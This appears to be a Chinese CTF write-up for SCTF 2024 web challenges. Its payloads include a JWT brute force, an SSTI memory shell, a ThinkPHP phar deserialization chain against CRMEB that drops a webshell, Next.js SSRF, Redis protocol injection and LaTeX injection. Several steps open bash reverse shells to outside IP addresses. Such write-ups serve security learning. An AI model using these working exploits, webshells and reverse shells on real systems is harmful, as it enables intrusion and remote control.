def __init__(self,name,password):
self.name=name
self.pwd = password
self.Registertime=str(time.time())[0:10]
self.handle=None
self.secret=self.setSecret()
def handler(self):
self.handle = open("/dev/random", "rb")
def setSecret(self):
secret = self.Registertime
try:
if self.handle == None:
self.handler()
secret += str(self.handle.read(22).hex())
except Exception as e:
print("this file is not exist or be removed")
return secret
取随机数生成么
注意到这里open("/dev/random", "rb")
没close,我们每注册一个用户就会占用一个文件句柄,而这里ulimit -n =2048
最多只能开2048个用户,ulimit限制到了之后这个地方就会进 except 报错,secret直接返回时间戳
那么我们尝试burp爆破注册2048个用户
POST /register HTTP/1.1
Host: 1.95.87.193:36183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://1.95.87.193:36183/register
Content-Type: application/json
Content-Length: 39
Origin: http://1.95.87.193:36183
Connection: close
{"username":"test§1§","password":"123456"}
然后再注册一个新的用户并登录,此时的key用的就是时间戳了
import base64
import json
import time
import jwt
import requests
key = str(time.time())[0:10]
target = "http://1.95.87.193:36183"
requests.post(url=target + "/register",
json={
"username": "aaa",
"password": "123456"
})
token = requests.post(url=target + "/login",
json={
"username": "aaa",
"password": "123456"
}).headers["Set-Cookie"].split("Token=")[1]
jwtdata = (json.loads(base64.b64decode(token))["secret"])
print(int(key))
for i in range(int(key) - 2000, int(key) + 2000):
try:
print(jwt.decode(jwtdata, str(i), algorithms='HS256'))
key = str(i)
except:
pass
secret = {"name": "aaa", "is_admin": "1"}
verify_c = jwt.encode(secret, key, algorithm='HS256')
infor = {"name": "aaa", "secret": verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print(token)
但是这时候登录进去会报错,因为用户溢出了,得先删掉几个用户
POST /removeUser HTTP/1.1
Host: 1.95.87.193:36183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://1.95.87.193:36183/register
Origin: http://1.95.87.193:36183
Connection: close
Cookie: Token=eyJuYW1lIjogImFhYSIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXRmhJaXdpYVhOZllXUnRhVzRpT2lJeEluMC43RlZYSHppMEZvY2NMRmFJdWlOMUx3S0p4WmdJT3RTRTEweGxFOTBBa3FNIn0=
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=test§1§
这样就能访问/admin了
现在就是打ssti了
template = request.form.get("code")
if result != "True":
return result, 401
#just only blackList
if waf(template):
return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
evilcode=["\\",
"{%",
"config",
"session",
"request",
"self",
"url_for",
"current_app",
"get_flashed_messages",
"lipsum",
"cycler",
"joiner",
"namespace",
"chr",
"request.",
"|",
"%c",
"eval",
"[",
"]",
"exec",
"pop(",
"get(",
"setdefault",
"getattr",
":",
"os",
"app"]
whiteList=[]
def waf(s):
s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
if not s.isascii():
return False
else:
for key in evilcode:
if key in s:
return True
return False
过滤一堆,直接fenjing打内存马
import fenjing
import logging
import requests
logging.basicConfig(level=logging.INFO)
payload = """
[
app.view_functions
for app in [ __import__('sys').modules["__main__"].app ]
for c4tchm3 in [
lambda resp: [
resp
for cmd_result in [__import__('os').popen(__import__('__main__').app.jinja_env.globals["request"].args.get("cmd", "id")).read()]
if [
resp.headers.__setitem__("Aaa", __import__("base64").b64encode(cmd_result.encode()).decode()),
print(resp.headers["Aaa"])
]
][0]
]
if [
app.__dict__.update({'_got_first_request':False}),
app.after_request_funcs.setdefault(None, []).append(c4tchm3)
]
]
"""
def waf(s):
blacklist = [
"\\", "{%", "config", "session", "request", "self", "url_for",
"current_app", "get_flashed_messages", "lipsum", "cycler", "joiner",
"namespace", "chr", "request.", "|", "%c", "eval", "[", "]", "exec",
"pop(", "get(", "setdefault", "getattr", ":", "os", "app"
]
return all(word not in s for word in blacklist)
full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
print("这个payload不会产生回显")
print(payload)
r = requests.post(
"http://1.95.87.193:36183/admin",
data={"code": payload},
cookies={
"Token": "eyJuYW1lIjogImFhYSIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXRmhJaXdpYVhOZllXUnRhVzRpT2lJeEluMC43RlZYSHppMEZvY2NMRmFJdWlOMUx3S0p4WmdJT3RTRTEweGxFOTBBa3FNIn0="
})
print(r.text)
注意这里把eval删了,我们可以用exec
代替
del __builtins__.__dict__['eval']
根目录下有/readflag
flag:SCTF{3zRe0der_1s_Rea1lyEz@h4veFun1nSCTF!!}
Simpleshop(复现)
hint1: the ultimate goal is to enable rce to read the contents of the /flag file.
hint2: the foreground user can achieve rce and background has nothing to do, so it is pointless to break the background password.
hint3: source code on github/gitee latest version you can try to audit it
https://gitee.com/ZhongBangKeJi/CRMEB
https://github.com/crmeb/CRMEB
是个CRMEB,基于thinkphp的,php7.4
robots.txt:/A_letter_to_ctfer.html
Dear Friend:
I hope you are well! I just want to write this letter to ask for your help, recently my e-shopping site has been hacked, but I have disabled almost all the dangerous functions of php, and does some common php security restrictions,but there are still some problems.
In order to facilitate your test, you can through the /register.html registration of the front user, add users should not be harmful it
Can you help me to find out the problem,I'd appreciate it.I hope you are doing well!
I highly recommend you test it locally first, it will simplify the problem.
Good luck!
Your friend J1rrY
去 /register.html 注册一个账户登录一下看看
有一个上传头像的接口,看一下
对应的代码
crmeb/app/api/controller/v1/PublicController.php
/**
* 图片上传
* @param Request $request
* @param SystemAttachmentServices $services
* @return mixed
*/
public function upload_image(Request $request, SystemAttachmentServices $services)
{
$data = $request->postMore([
['filename', 'file'],
]);
if (!$data['filename']) return app('json')->fail(100100);
if (CacheService::has('start_uploads_' . $request->uid()) && CacheService::get('start_uploads_' . $request->uid()) >= 100) return app('json')->fail(100101);
$upload = UploadService::init();
$info = $upload->to('store/comment')->validate()->move($data['filename']);
if ($info === false) {
return app('json')->fail($upload->getError());
}
$res = $upload->getUploadInfo();
$services->attachmentAdd($res['name'], $res['size'], $res['type'], $res['dir'], $res['thumb_path'], 1, (int)sys_config('upload_type', 1), $res['time'], 3);
if (CacheService::has('start_uploads_' . $request->uid()))
$start_uploads = (int)CacheService::get('start_uploads_' . $request->uid());
else
$start_uploads = 0;
$start_uploads++;
CacheService::set('start_uploads_' . $request->uid(), $start_uploads, 86400);
$res['dir'] = path_to_url($res['dir']);
if (strpos($res['dir'], 'http') === false) $res['dir'] = $request->domain() . $res['dir'];
return app('json')->success(100009, ['name' => $res['name'], 'url' => $res['dir']]);
}
尝试直接上传php马,发现有后缀检测,找一下规则
crmeb/config/upload.php
//上传文件后缀类型
'fileExt' => ['jpg', 'jpeg', 'png', 'gif', 'pem', 'mp3', 'wma', 'wav', 'amr', 'mp4', 'key', 'xlsx', 'xls', 'txt', 'ico'],
//上传文件类型
'fileMime' => [
'image/jpg',
'image/jpeg',
'image/gif',
'image/png',
'text/plain',
'audio/mpeg',
'video/mp4',
'application/octet-stream',
'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'application/vnd.ms-works',
'application/vnd.ms-excel',
'application/zip',
'application/vnd.ms-excel',
'application/vnd.ms-excel',
'text/xml',
'image/x-icon',
'image/vnd.microsoft.icon',
'application/x-x509-ca-cert',
]
白名单后缀和文件类型
后台有 admin 的登录界面,不过 hint 告诉我们是前台rce
审一下源码,先从 api 功能开始,从刚才的上传接口那里入手,观察和文件相关的操作
crmeb/app/api/controller/v1/PublicController.php
/**
* 获取图片base64
* @param Request $request
* @return mixed
*/
public function get_image_base64(Request $request)
{
[$imageUrl, $codeUrl] = $request->postMore([
['image', ''],
['code', ''],
], true);
if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
return app('json')->success(['code' => false, 'image' => false]);
}
try {
$code = CacheService::remember($codeUrl, function () use ($codeUrl) {
$codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
if (!$codeTmp) {
$putCodeUrl = put_image($codeUrl);
$code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
if ($putCodeUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
}
}
return $code;
});
$image = CacheService::remember($imageUrl, function () use ($imageUrl) {
$imageTmp = $image = $imageUrl ? image_to_base64($imageUrl) : false;
if (!$imageTmp) {
$putImageUrl = ;($imageUrl);
$image = $putImageUrl ? image_to_base64(app()->request->domain(true) . '/' . $putImageUrl) : false;
if ($putImageUrl) {
unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putImageUrl);
}
}
return $image;
});
return app('json')->success(compact('code', 'image'));
} catch (\Exception $e) {
return app('json')->fail(100005);
}
}
/api/image_base64 这里会接受两个参数 code 和 image
逻辑是先检查给定的 url 是否是一张图片,然后先尝试从缓存中获取图片,如果失败则调用put_image
从远程下载图片,再转成base64
注意,因为这里缓存机制的存在,同一个图片只能触发一次 if 内的条件
这里需要重点关注一下put_image
这个函数,跟过去看一下
function put_image($url, $filename = '')
{
if ($url == '') {
return false;
}
try {
if ($filename == '') {
$ext = pathinfo($url);
if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
return false;
}
$filename = time() . "." . $ext['extension'];
}
//文件保存路径
ob_start();
$url = str_replace('phar://', '', $url);
readfile($url);
$img = ob_get_contents();
ob_end_clean();
$path = 'uploads/qrcode';
$fp2 = fopen($path . '/' . $filename, 'a');
fwrite($fp2, $img);
fclose($fp2);
return $path . '/' . $filename;
} catch (\Exception $e) {
return false;
}
}
一点图片后缀检测,然后对phar://
进行置空,接着调用readfile
远程读取文件,再保存到 uploads/qrcode 下
既然是用str_replace
置空phar://
,那么直接双写绕过即可,于是在readfile
这里就能打一个phar://
文件包含
那么,我们只需要控制前面的 code 参数为 phar 协议即可
这样子思路就很清晰了:在上传头像处上传图片马,内容是tp的反序列化链,通过 phar 文件包含来解析这个图片马从而触发反序列化实现rce
接下来就是找tp链子了,crmeb-5.4是基于 tp6 的,那么就是用tp6的链子,写文件的话,安装这个框架的时候会发现 public 目录一定是可写的
我这里是逆向搜索链子,从tp6的链子尾部开始往前找,貌似没啥变化,甚至是tp6.0的链子(后面发现我改的链子只控制 data 和 withAttr 打不了。。这里的是正确修改的poc)
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"<?php eval(\$_POST[1]);?>"];
private $withAttr = ["key"=>"file_put_contents"];
private $relation = ["key" => "/var/www/public/myshell.php"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
@unlink("1.phar");
$phar = new \Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
发现有文件内容检测,看一下
crmeb/crmeb/services/upload/storage/Local.php
if (preg_match('/think|php|log|phar|Socket|Channel|Flysystem|Psr6Cache|Cached|Request|debug|Psr6Cachepool|eval/i', $content)) {
return $this->setError('文件内容不合法');
}
怎么办呢,可以用gzip绕过,将1.phar
改名为1.jpg
,再给压缩
gzip 1.jpg
得到1.jpg.gz,再次上传
得到路径:http://1.95.73.253/uploads/store/comment/20241003/2ee7c3e7993a6dfda10943ddd8a81d6e.jpg
现在去使用phar伪协议解析这个马,用绝对路径
喜报:链子不对,请少侠重新来过
这里试图拿wm的链子打FileCookieJar
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('public/shell.php');
$payload = '<?php eval(filter_input(INPUT_POST,a)); ?>';
$obj->setCookie(new SetCookie(['Name' => 'foo', "Value" => "1", 'Domain' => $payload, "a" => 'bar', 'Expires' => time()]));
$phar = new \Phar("1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . "__HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
失败了。。
再尝试拿星盟的链子打PhpSpreadsheet
这个链子的原型是 Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352),参考https://www.cnblogs.com/1vxyz/articles/17659770.html
入口处选择了 PhpOffice\PhpSpreadsheet\Collection::Cells,同样也是一个用来缓存的类
<?php
namespace PhpOffice\PhpSpreadsheet\Collection{
class Cells{
private $cache;
public function __construct($exp){
$this->cache = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20241004/0w0.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{
class Php{}
}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace {
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);
ini_set("phar.readonly", 0);
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.jpg", "test");
$phar->stopBuffering();
}
同样的方式gzip打包后上传并phar包含,成功
蚁剑连上去,发现开了disable_function
蚁剑插件打fpm跟它爆了即可
连接 .antproxy.php 文件,密码不变
最后find suid简单提个权即可
ezjump(复现)
稍微审一下代码,是 tsx 前端 + py 后端 + redis的服务
三个服务在同一个c段下
前端 tsx 总共有两个路由:
- /play
- /success
直接看 /success 路由的逻辑:
import {redirect} from "next/navigation";
export default function Success(){
return (
<>
<div>Congratulations! CTFer!</div>
<form
action={async () => {
"use server";
redirect("/play");
}}
>
<button type="submit">Let us Play Again!!</button>
</form>
</>
)
}
直接猜测是在依赖上做文章打 ssrf 到内网py服务
搜一下,有CVE-2024-34351,参考:
https://zone.huoxian.cn/d/2910-nextjs-1411-server-actions-ssrf-cve-2024-34351
https://github.com/azu/nextjs-CVE-2024-34351
https://github.com/God4n/nextjs-CVE-2024-34351-_exploit
看一眼依赖版本:"next": "14.1.0"
,是了
直接vps启动服务开打
可以打到内网的python服务,然后审py代码
import os
import subprocess
import urllib.request
from flask import Flask, request, session, render_template
from Utils.utils import *
app = Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/', methods=['GET'])
def hello():
return "Welcome to SCTF 2024! Have a Good Time!"
@app.route('/login', methods=['GET'])
def login():
username = request.args.get("username")
password = request.args.get("password")
user =get_user(username)
if user:
if password == user['password']:
if user['role']=="admin":
cmd=request.args.get("cmd")
if not cmd:
return "No command provided", 400
if waf(cmd):
return "nonono"
try:
result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
return result.stdout
except Exception as e:
return f"Error: {str(e)}", 500
else:
session['username'] = username
session['role'] = user['role']
return render_template('index.html', username=session['username'], role=session['role'])
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
else:
add_user(username, password, 'n0B0dy')
user = get_user(username)
if user:
session['username'] = username
session['role'] = 'noBody'
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
return "Please give me username and password!"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=5000)
那么首先要做的还是伪造 session 的 role 为 admin
这里的 secret_key 是随机,暂时没法利用
先看下面的 else 分支:
else:
add_user(username, password, 'n0B0dy')
user = get_user(username)
if user:
session['username'] = username
session['role'] = 'noBody'
else:
session['username'] = 'guest'
session['role'] = 'noBody'
return render_template('index.html', username=session['username'], role=session['role'])
def get_user(username):
user_info_serialized = r.GET(f'user:{username}')
if user_info_serialized:
user_info = json.loads(base64.b64decode(user_info_serialized).decode())
return user_info
else:
return None
return None
def add_user(username, password, role):
user_info = {'password': password, 'role': role}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
r.SET(f'user:{username}', user_info_serialized)
def GET(key):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('GET', key)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
if "$-1\r\n" in response.decode('utf-8'):
return None
# 提取真实内容
result_start_idx = response.index(b'\r\n') + 2 # 跳过第一行响应
result_end_idx = response.index(b'\r\n', result_start_idx) # 找到第二个\r\n
real_content = response[result_start_idx:result_end_idx]
return real_content
def SET(key, value):
redis_socket = connect_redis()
try:
# 发送命令
command = pack_command('SET', key, value)
command = WAF(command)
redis_socket.sendall(command)
# 接收响应
response = b''
while True:
chunk = redis_socket.recv(1024)
response += chunk
if response.endswith(b'\r\n'):
break
finally:
redis_socket.close()
return response.decode('utf-8')
def WAF(key):
if b'admin' in key:
key = key.replace(b'admin', b'hacker')
return key
看起来我们可以尝试在add_user
的时候写 role 的 key 为admin,那么问题又来到了绕 WAF 方法上
注意到这里是python2,而且在 app.py 中引入了urllib.request
,考虑打 CVE-2016-5699
POST /success HTTP/1.1
Host: 192.168.91.196:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/x-component
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/success
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------387260354522125837003053914509
Content-Length: 336
Origin: http://192.168.91.196:8000
Connection: close
Cookie: username-localhost-8888="2|1:0|10:1727599585|23:username-localhost-8888|44:YTg1MjI0NjBlMDQ2NDk3NThlMmM2OWQwYjJlYjI1NTY=|57afc02b8f933c374cd22d26b3e13658dfdf3393f91371e9988085e1fe8c2b0a";session=eyJyb2xlIjoibjBCMGR5IiwidXNlcm5hbWUiOiJndWVzdCJ9.ZvlgKQ.MpEB6rKKlCBg982YcU1UObNrOmI
SSRF: http://172.11.0.3:5000/login?username=http://172.11.0.4%0d%0aset%20user%20Admin%0D%0A:6379&password=123456
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------387260354522125837003053914509
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"
-----------------------------387260354522125837003053914509
Content-Disposition: form-data; name="0"
["$K1"]
-----------------------------387260354522125837003053914509--
然而并没有成功
没时间研究了。。
回到waf上来
def waf(url):
if url.startswith(('file://', 'gopher://')):
return True
else:
return False
gopher://
可以大小写绕
def WAF(key):
if b'admin' in key:
key = key.replace(b'admin', b'hacker')
return key
替换字符串导致长度+1的操作,有点眼熟,猜测有字符串逃逸
再看看这里RESP请求的构造
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
这里如果长度不一样的话就是字符串逃逸了,然后注入新的指令执行
测试:
先打印出正常的SET的command看看:
import json
import base64
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode("utf-8")
def SET(key, value):
command = pack_command("SET", key, value)
command = WAF(command)
return command
def WAF(key):
if b"admin" in key:
key = key.replace(b"admin", b"hacker")
return key
user_info = {"password": None, "role": "admin"}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
print(SET("user:test",user_info_serialized))
得到:*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=\r\n
格式就像下面这样,每一个字段之间用\r\n
间隔:
*3
$3
SET
$x
user:xxxx
$x
base64_encoded_json_password_and_role
由于 password 会被base64处理,所以我们可控的只有 username,那么我们就要截断*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n
这部分,然后注入我们自己的语句,这里先以插入一个权限为admin的新user作为测试
*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n$0\r\n\r\n
*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=\r\n//
(最后要注释掉后面的部分)
那么我们要逃逸出\r\n$0\r\n\r\n"+"*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//
共88位字符
于是构造一下得到payload:
# print(SET("user:"+"admin"*88+"\r\n$0\r\n\r\n"+"*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//",""))
print("admin"*88+"%0D%0A$0%0D%0A%0D%0A"+"*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Auser:a%0D%0A$48%0D%0AeyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//")
# adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A$0%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Auser:a%0D%0A$48%0D%0AeyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//
本地测试一下
成功写入用户a,密码为空
并且是admin权限
接下来观察命令执行的代码
cmd=request.args.get("cmd")
if not cmd:
return "No command provided", 400
if waf(cmd):
return "nonono"
try:
result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
return result.stdout
except Exception as e:
return f"Error: {str(e)}", 500
def waf(url):
if url.startswith(('file://', 'gopher://')):
return True
else:
return False
接下来就是 ssrf 部分了,gopher打主从复制来弹shell
这里得手动打,因为我们不能掉登录,得设置 slave-read-only
:
config set slave-read-only no
SLAVEOF 192.168.0.142 21000
# 连上之后需要重新登录
CONFIG SET dir /tmp/
CONFIG SET dbfilename exp.so
slaveof no one
MODULE LOAD /tmp/exp.so
system.exec 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQyLzY2NiAwPiYx | base64 -d | bash'
生成payload,url编码两次后打进去:
from urllib.parse import quote
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
print(quote(quote(pack_command("SET","user:ddd","xxx"))))
print(quote(quote(pack_command("config","set","slave-read-only","no"))))
print(quote(quote(pack_command("SLAVEOF","192.168.0.142","21000"))))
print(quote(quote(pack_command("SLAVEOF","no one","one"))))
print(quote(quote(pack_command("CONFIG","SET","dir","/tmp/"))))
print(quote(quote(pack_command("CONFIG","SET","dbfilename","exp.so"))))
print(quote(quote(pack_command("MODULE","LOAD","/tmp/exp.so"))))
print(quote(quote(pack_command("system.exec","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQyLzY2NiAwPiYx | base64 -d | bash"))))
ez_tex(复现)
hint: /log
Werkzeug/2.1.2 Python/3.7.17
就一个上传和编译 tex 文件的python web服务
compile后不回显内容,也不知道文件传到哪去了
/log 那里给了个app.log,看不懂
先看一下tex的注入吧,参考:https://www.freebuf.com/articles/security-management/308191.html
tex的格式大致如下:
\documentclass{article}
\begin{document}
% Your content here
\end{document}
测了一下,tex的内容ban了下面这些东西
\write18
\immediate
\input
app
/
\include
..
然后编译允许的编译文件名长度最长为6
读文件
\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file
写文件,但是不确定在哪里可以触发
\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile
bypass的方式,类似php免杀了:
\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
用这个可以绕所有的黑名单:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LaTeX%20Injection/README.md
看了下应该是^^ascii
的意思
接下来的思路是写app.log带出数据
读取main.py
\documentclass{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
编译后访问 /log 带出回显
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename
app = Flask(__name__)
if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate','app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'
@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')
if not filename:
return 'No filename provided', 400
if len(filename) >= 7:
return 'Invalid file name length', 400
if not filename.endswith('.tex'):
return 'Invalid file type', 400
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404
output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500
@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
发现可以重写 log.html 进行ssti
重开一个靶机弹shell即可
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}
我flag呢,看来得提权
/flag的内容:
HOSTNAME=9711508053a5
PYTHON_VERSION=3.7.17
